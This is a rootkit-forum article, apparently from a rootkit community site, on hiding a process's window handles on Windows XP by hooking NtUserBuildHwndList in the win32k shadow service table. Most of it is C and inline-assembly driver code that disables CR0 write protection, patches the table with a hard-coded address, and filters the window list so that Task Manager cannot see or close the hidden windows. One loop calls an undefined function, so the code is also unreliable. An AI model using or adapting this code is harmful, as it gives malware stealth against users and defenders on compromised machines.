REGISTER
desert eagle
main menu

home

forums
    Show me new threads!

bookmarks

post article

view blogs

vault

you must be level 2 to upload files to your vault

downloads

you must be logged to access downloads

Rootkit Collection

File Contributer Link
Hacker Def... hfn/a
HE4Hook adminn/a
BASIC CLAS... hoglundn/a
Vanquish xshadown/a
NT Rootkit hoglundn/a
FU fuzen_opn/a
WinlogonHi... JeFFOsZn/a
klister joannan/a
Patchfinde... joannan/a
MyNetwork hoglundn/a
MTDWin hoglundn/a
NTFSHider hoglundn/a
VideoCardK... hoglundn/a
VICE fuzen_opn/a
Klog Clandestin...n/a
NtIllusion Kdmn/a
AFX Rootki... TheRealAph...n/a
SInAR vulndevn/a
Shadow Wal... Clandestin...n/a
BootRootki... dereksoede...n/a
CHAZ - Nim... neocrackrn/a
Clandestin... merlvingia...n/a
FUTo petersilbe...n/a
Windows Me... alcapone66...n/a
RAIDE petersilbe...n/a
BOOT KIT vipinkumarn/a
BluePill Joanna and...n/a
DEFRAG blume1975n/a
Keyboard H... chpien/a
CheatEngin... DarkByten/a

search the site

backends
A news back-end to implement RootKit news into your website is here or more advanced version here.

An XML/RSS feed that includes both NEWS and BLOGS for RootKit is here: XML/RSS.

[Valid RSS]

Beta feed for replied posts here. feedback to admins not forums, we know about times being off...

ROOTKIT
Share Your Old Stuff, Keep Your Good Stuff
Saturday July 31st
Featured Article: Nostalgia: n00bk1t, an advanced ring3 rootkit in C    by jeffosz
Hiding Window Handles through Shadow Table Hooking on Windows XP

By: metro_mystery

Endless tracing in Soft-ice, patience in IDA and one function- EnumChildWindows() lead to the discovery that kernel-mode window handle hiding is only another possibility in the forever expanding list of rootkit technology. Although it begs the question; why would you need to hide a window handle in the first place if the concept of a root kit is based on that of stealth and invisibility? Rootkits (especially those implemented in drivers) aren’t going to be popping up too many windows and dialogs. It’s more a case of invincibility rather than invisibility; if an application (such as taskmgr.exe) can’t find a handle to a particular window- it can’t close it. Although hooking ZwTerminateProcess() and returning STATUS_ACCESS_DENIED usually assures a process won’t be terminated; it won’t hide your window handles or prevent any application from sending WM_CLOSE messages to it’s message queue.



A quick disassembly of EnumChildWindows(), one of ‘the’ user-mode functions for window enumerations (child and top level alike), showed that user32.dll loads *0x138 into edx register- the call number for the kernel mode function NtUserBuildHwndList() found in the system service table of win32k functions- right before the system switches to kernel-mode and executes it.

After some careful internal analysis, it became apparent that NtUserBuildHwndList() constructs a list/array of certain window handles based on the values of variables passed in through the argument list. It then assigns to a passed in pointer (pHandleList) the address of the beginning of this list, and copies the number of handles the list contains into yet another parameter variable (* HandlesInBufferCount).


NTSTATUS NTAPI

NtUserBuildHwndList(

      IN ULONG ARG_1,

      IN ULONG hParentWnd,

      IN ULONG HwndListType,

      IN ULONG ThreadId,

      OUT ULONG ARG_5,

      OUT ULONG* pHandleList,

      OUT ULONG* HandlesInBufferCount

)

Parameters

ARG_1

[in] Always seems to be 0x00000000.

hParentWnd

[in] The unique window handle ID of the parent window who’s children are being enumerated; this parameter is only used in the HwndListType parameter [below is set to 0x00000001

HwndListType

[in] 0x00000000 for a list of all the top level windows in the system or 0x00000001 for a list of all child windows belonging to a parent [specified in the hParentWnd parameter above].

ThreadId

[in] If set; will return a window list containing all windows created by or belonging to the ThreadId.

ARG_5

[out] Not fully understood; sometimes contains the same value returned in HandlesInBufferCount, but not always.

pHandleList

[out] pointer to the first window handle in the list/array – next entry is +4 bytes. The list is delimited with a value of 0x00000001 however, it is probably better to use the value returned in HandlesInBufferCount [below] to find the number of items and the end of the list.

HandlesInBufferCount

[out] The number of window handles in the list

Return Value

The return value is one of the NT STATUS codes.

Hooking functions such as NtUserBuildHwndList() in the KeServiceDescriptorTableShadow is a little more complicated than intercepting those regular system services in the exported KeServiceDescriptorTable. Briefly, an easier way to do this involves writing a simple user-mode process that creates a symbolic link to the driver in a thread that has previously called IsGuiThread(TRUE). This same thread then calls DeviceIoControl() on the driver and passes down a control message like IO_HOOK_SYSTEM_SERVICES.



Here the address of the table is just hard-coded at *0x80544BC0.



typedef struct tag_SYSTEM_SERVICE_TABLE     {

                    PULONG     ServiceTable;       // array of entry points

                    PULONG      CounterTable;       // array of usage counters

                    ULONG       ServiceLimit;       // number of table entries

                    PCHAR       ArgumentTable;      // array of argument counts

}   SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE, **PPSYSTEM_SERVICE_TABLE;



// structure of a Service Descriptor Table. (KeServiceDescriptorTable

// and the non-exported KeServiceDescriptorTableShadow).



typedef     struct  tag_SERVICE_DESCRIPTOR_TABLE    {

                    SYSTEM_SERVICE_TABLE    ntoskrnl;   // main native API table

                    SYSTEM_SERVICE_TABLE    win32k;     // win subsystem

                    SYSTEM_SERVICE_TABLE    sst3;

                    SYSTEM_SERVICE_TABLE    sst4;

}   SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE, **PPSERVICE_DESCRIPTOR_TABLE;





void UnhookSystemServices()

{

      _asm

      {

            CLI //dissable interrupt

            MOV EAX, CR0 //move CR0 register into EAX

            AND EAX, NOT 10000H //disable WP bit

            MOV CR0, EAX //write register back

      }



      if(_callnumber_NtUserBuildHwndList)

            (NTUSERBUILDHWNDLIST)

            KeServiceDescriptorTableShadow->win32k.ServiceTable[_callnumber_NtUserBuildHwndList]

            = OldNtUserBuildHwndList;



      _asm

      {

            MOV EAX, CR0 //move CR0 register into EAX

            OR EAX, 10000H //enable WP bit

            MOV CR0, EAX //write register back

            STI //enable interrupt

      }

}







void HookSystemServices()

{

      if(_callnumber_NtUserQueryWindow)

            pNtUserQueryWindow =

            (NTUSERQUERYWINDOW)KeServiceDescriptorTableShadow->win32k.ServiceTable[_callnumber_NtUserQueryWindow];



      if(_callnumber_NtUserBuildHwndList)

            OldNtUserBuildHwndList =     

            (NTUSERBUILDHWNDLIST)KeServiceDescriptorTableShadow->win32k.ServiceTable[_callnumber_NtUserBuildHwndList];



      _asm

      {

            CLI //dissable interrupt

            MOV EAX, CR0 //move CR0 register into EAX

            AND EAX, NOT 10000H //disable WP bit

            MOV CR0, EAX //write register back

      }





      if(_callnumber_NtUserBuildHwndList)

            (NTUSERBUILDHWNDLIST)KeServiceDescriptorTableShadow->win32k.ServiceTable[_callnumber_NtUserBuildHwndList]

                  = NewNtUserBuildHwndList;



      _asm

      {

            MOV EAX, CR0 //move CR0 register into EAX

            OR EAX, 10000H //enable WP bit

            MOV CR0, EAX //write register back

            STI //enable interrupt

      }

}







NTSTATUS IoControl(

    IN PDEVICE_OBJECT DeviceObject,

    IN PIRP Irp

    )

{

      NTSTATUS                            status = STATUS_SUCCESS;

      ULONG                               controlCode;

      PIO_STACK_LOCATION                  irpStack;

      HANDLE                              hEvent;

      OBJECT_HANDLE_INFORMATION           objHandleInfo;

      LONG*                               outBuf;

      ULONG*                              inBuf;



      PKTHREAD CurrentThread;

      irpStack = IoGetCurrentIrpStackLocation(Irp);

      controlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

     

      switch(controlCode)

      {

            case IO_UNHOOK_SYSTEM_SERVICES:

            {

                  UnhookSystemServices();

                  break;

            }

                 

            case IO_HOOK_SYSTEM_SERVICES:

            {

                  KeServiceDescriptorTableShadow = (PSERVICE_DESCRIPTOR_TABLE)0x80544BC0;

                  SetupCallNumbers();

                  HookSystemServices();



                  break;

            }



            case IO_SEND_HIDDEN_PROCESS_ID:

            {                

                  inBuf = Irp->AssociatedIrp.SystemBuffer;

                  HiddenProcessId = *inBuf;



                  break;

            }



            default:

                  break;

      }



      Irp->IoStatus.Status = STATUS_SUCCESS;

      Irp->IoStatus.Information = 0;

      IoCompleteRequest(Irp, IO_NO_INCREMENT);



      return status;

}



Once successfully hooked, inside our function we must-



1) Call the original NtUserBuildHwndList() to obtain the real window list.



2) Determine whether the preceding call was a STATUS_SUCCESS and if so, dynamically modify this list of window handle entries returned by (1) and update any changes made in HandlesInBufferCount.



3) In our hooked function return STATUS_SUCCESS- in effect passing to whatever user-mode application is requesting it a modified list containing all windows but those belonging to a specific process.



Step 2 is a rather complicated- since we’re in kernel-mode, we don’t have functions like GetWindowThreadProcessId() to match a window handle ID to a process. Using IRPs, we could pass this information to user-mode, ask it to check the value and report back to the driver; but this is rather extensive and messy.

Instead, tracing through GetWindowThreadProcessId() showed that if a process is requesting information on a window handle not belonging to one of its own threads; it relies on the system service, NtUserQueryWindow() *(call number 0x1E3) to get the process/thread ID .


ULONG NtUserQueryWindow(

   IN ULONG WindowHandle,

   IN ULONG TypeInformation

)



Parameters

WindowHandle

[in] The unique window handle ID of the window who’s process is being queried.

TypeInformation

[in] 0x00000000 for ProcessID, 0x00000001 for ThreadID

Return Value

The return value is the Process ID or Thread ID owning the WindowHandle.

Putting it all together, our new hook function should look something like…


NTSTATUS NTAPI

NewNtUserBuildHwndList(

      IN ULONG ARG_1,

      IN ULONG hParentWnd,

      IN ULONG HwndListType,

      IN ULONG ThreadId,

      IN ULONG ARG_5,

      OUT ULONG* pHandleList,

      OUT ULONG* HandlesInBufferCount

)

{

      NTSTATUS Status;

      ULONG RealHwndIndex = 0;

      ULONG FakeHwndIndex = 0;

      ULONG JumpIndex = 0;

      ULONG ProcessID;

      ULONG ModifiedHandlesInBufferCount;



      Status = OldNtUserBuildHwndList(ARG_1, hParentWnd, HwndListType, ThreadId, ARG_5,

             pHandleList, HandlesInBufferCount);



      if(STATUS_SUCCESS == Status)

      {

            ModifiedHandlesInBufferCount = *HandlesInBufferCount;



            for(RealHwndIndex = 0, FakeHwndIndex = 0;

                  FakeHwndIndex < *HandlesInBufferCount;

                  RealHwndIndex++, FakeHwndIndex++)

            {

                  ProcessID = pNtUserQueryWindow(pHandleList[FakeHwndIndex], 0);



                  if(HiddenProcessId == ProcessID)

                  {



                        for(JumpIndex = 1;

                              HiddenProcessId ==
                              (ProcessID = pNtUserIHaveNoIdea(
                                   pHandleList[ FakeHwndIndex + JumpIndex], 0));

                              JumpIndex++)

                        {



                        }



                        ModifiedHandlesInBufferCount =

                              ModifiedHandlesInBufferCount - JumpIndex;

                       

                        FakeHwndIndex = FakeHwndIndex + JumpIndex;

                  }



                  pHandleList[RealHwndIndex] = pHandleList[FakeHwndIndex];

            }



            *HandlesInBufferCount = ModifiedHandlesInBufferCount;

      }



      return Status;

}


Where HiddenProcessId is defined as a global variable denoting the process ID that all associated window handles should be hidden.

That’s it- you’re windows are hidden ;)



*[This was tested on Windows XP with no service pack installed (build number 2600) and includes some hard-coded offsets and non-exported win32k function call numbers. With little modification, this code can be adopted to run on other versions of Windows]

read comments (1) / write comment

recent comments:
oldratter13.Jun:14:30

views: 5302   printer-friendly version

login:
password:

ROOTKITS, Subverting the Windows Kernel
By: Greg Hoglund and Jamie Butler

Rootkits are powerful tools to compromise computer systems without detection. Get the original and best book on the subject here.


logged users

active for last 5 minutes

registered users:79912

There are currently 0 registered users and 22 guests browsing the website.

Welcome our latest registered user: Pris

recent board posts
subject author date
Hiding Tcp... _MAX_ Jul / 27
unload dri... dubteam2000 Jul / 26
APC Delive... aall87 Jul / 21
x64 SSDT h... lolwurst Jul / 21
password r... markedu9 Jul / 19
How to hid... Hack4freedom Jul / 15
UNC PATH A... pain_abator Jul / 15
CALL in na... _MAX_ Jul / 13
Conflict b... _MAX_ Jul / 08
Making dev... blackd0t Jul / 06
Hide proce... l0ngshot Jul / 01
Process Ha... krzys Jul / 01
Rooting VP... simplicityx Jun / 24
Rootkits: ... chimai Jun / 24
NDIS Inter... lclee_vx Jun / 17

recently replied posts
subject author date
x64 SSDT h... vrtulex Jul/27
unload dri... EreTIk Jul/27
Hiding Tcp... _MAX_ Jul/27
BIOS Rootk... rossettoecioccolato Jul/25
about this... DiabloNova Jul/22
APC Delive... aall87 Jul/21
password r... markedu9 Jul/19
UNC PATH A... pain_abator Jul/19
How to hid... vrtulex Jul/16
CALL in na... _MAX_ Jul/16
Hide proce... vrtulex Jul/10
Conflict b... _MAX_ Jul/08
Making dev... blackd0t Jul/07

recent blog entries
DiabloNova Jul 31, 12:06
ghost1369 May 09, 04:30
DiabloNova May 08, 15:33
_4epen May 04, 15:42
DiabloNova May 02, 03:59
Best Screenshots / Analog
May 14, 2010

dep.png /

click on the picture to enlarge and see description

!

read comments (0)
write comment

view archive(90) :

Analog(53) / Best Screenshots(37)

submit a picture to gallery

the most active news users
based on the number of news posts for last 30 days

user nr. of posted news

select skin



Truth is what stands the test of experience.